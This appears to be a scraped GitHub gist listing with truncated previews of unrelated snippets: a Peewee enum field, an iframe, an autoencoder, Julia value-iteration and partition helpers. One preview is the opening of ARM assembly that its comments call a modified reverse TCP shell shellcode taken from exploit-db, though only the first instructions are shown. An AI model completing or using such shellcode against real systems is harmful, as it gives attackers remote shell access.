This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import enum | |
from abc import ABC | |
from peewee import IntegerField | |
class EnumField(IntegerField, ABC): | |
""" | |
This class enable an Enum like field for Peewee | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe src="www.x80security.com" title="X80 security"></iframe> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a slightly modified version of an ARM shellcode to open a reverse TCP shell. | |
// The original can be found here: https://www.exploit-db.com/exploits/46258 | |
// and was made by Gokul Babu - https://www.linkedin.com/in/gokul-babu-452b3b112/ | |
.section .text | |
.global _start | |
_start: | |
.ARM | |
add r3,pc,#1 | |
bx r3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Autoencoder: | |
def __init__(self, D, d): | |
# Input placeholder, "None" here means any size e.g. (13,D), (420,D), etc. | |
self.X = tf.placeholder(tf.float32, shape=(None, D)) | |
# Input to hidden (D -> d) | |
self.W1 = tf.Variable(tf.random_normal(shape=(D,d))) | |
self.b1 = tf.Variable(np.zeros(d).astype(np.float32)) | |
# Hidden -> output (d -> D) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" Value-iteration algorithm """ | |
function value_iteration(mdp, gamma = 1.0) | |
""" Value-iteration algorithm """ | |
v = zeros(n_states(mdp)) # initialize value-function | |
max_iterations = 1000 | |
eps = 1e-10 | |
for iter in 1:max_iterations | |
prev_v = copy(v) | |
for s in states(mdp) | |
sᵢ = stateindex(mdp, s) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# I couldn't find any simpler way of doing this, so I made my own little functions and thought | |
# I'd share them since I've used them in many different contexts. | |
# These should not be used if you're looking for performance, since they're quite hack-y | |
# I personally use them usually during initialisation for various algorithms | |
# Parition an array into partitions of a specifie size n (last partition may be shorter) | |
# e.g. partition([1,2,3,4,5,6,7],3) -> [ [1,2,3], [4,5,6], [7] ] | |
function partition(list, n) | |
l = size(list,1) | |
partitioning = collect(Iterators.partition(list, ceil(Int,l/n))) |